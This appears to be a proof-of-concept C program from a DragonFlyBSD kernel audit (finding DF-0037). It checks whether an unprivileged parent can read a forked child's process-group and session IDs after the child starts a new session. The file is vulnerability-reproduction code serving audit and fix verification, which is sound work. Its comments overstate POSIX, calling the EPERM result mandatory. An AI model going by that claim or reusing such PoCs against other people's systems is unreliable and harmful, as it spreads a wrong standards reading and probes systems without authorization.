DragonFlyBSD Kernel Audit
DF-0037 / leak_xsess.c
← back to finding ↓ download raw
/*
 * DF-0037 PoC - sharper cross-session demonstration.
 *
 * Parent (session A) forks a child; the child calls setsid() to create a
 * brand-new session (session B). The parent then calls getpgid()/getsid()
 * on the child. POSIX says the parent MUST get EPERM (target is in a
 * different session). The buggy kernel returns the value.
 *
 * Build: cc -o leak_xsess leak_xsess.c
 * Run:   ./leak_xsess      (as an unprivileged user)
 */
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>

int
main(void)
{
	pid_t parent_pid = getpid();
	pid_t parent_sid = getsid(0);
	pid_t parent_pgid = getpgid(0);
	pid_t child;

	printf("[parent] pid=%d pgid=%d sid=%d uid=%d\n",
	    (int)parent_pid, (int)parent_pgid, (int)parent_sid, (int)getuid());

	child = fork();
	if (child < 0) { perror("fork"); return 1; }
	if (child == 0) {
		/* Child: create a new session, becoming its own session leader. */
		if (setsid() < 0) { perror("setsid"); _exit(2); }
		printf("[child ] pid=%d pgid=%d sid=%d  (new session, different uid-parent session)\n",
		    (int)getpid(), (int)getpgid(0), (int)getsid(0));
		/* Stay alive so parent can probe us. */
		sleep(3);
		_exit(0);
	}

	/* Parent: probe child which is in a DIFFERENT session. */
	sleep(1);
	errno = 0;
	pid_t c_pgid = getpgid(child);
	int e_pgid = errno;
	errno = 0;
	pid_t c_sid = getsid(child);
	int e_sid = errno;

	printf("\n[parent] probing child pid=%d (DIFFERENT session):\n", (int)child);
	printf("  getpgid(%d) = %d  errno=%d (%s)\n",
	    (int)child, (int)c_pgid, e_pgid, strerror(e_pgid));
	printf("  getsid(%d)  = %d  errno=%d (%s)\n",
	    (int)child, (int)c_sid,  e_sid, strerror(e_sid));

	printf("\n");
	if (e_pgid == 0 || e_sid == 0) {
		printf("BUG DF-0037 REPRODUCED: parent (sid=%d) leaked child's pgid/sid "
		       "from a DIFFERENT session with no EPERM.\n", (int)parent_sid);
		printf("  POSIX violation: getpgid/getsid on a process in another "
		       "session MUST return EPERM.\n");
	} else if (e_pgid == EPERM && e_sid == EPERM) {
		printf("FIXED: getpgid/getsid returned EPERM for cross-session target.\n");
	} else {
		printf("UNEXPECTED: getpgid errno=%d getsid errno=%d\n", e_pgid, e_sid);
	}

	waitpid(child, NULL, 0);
	return (e_pgid == EPERM && e_sid == EPERM) ? 1 : 0;
}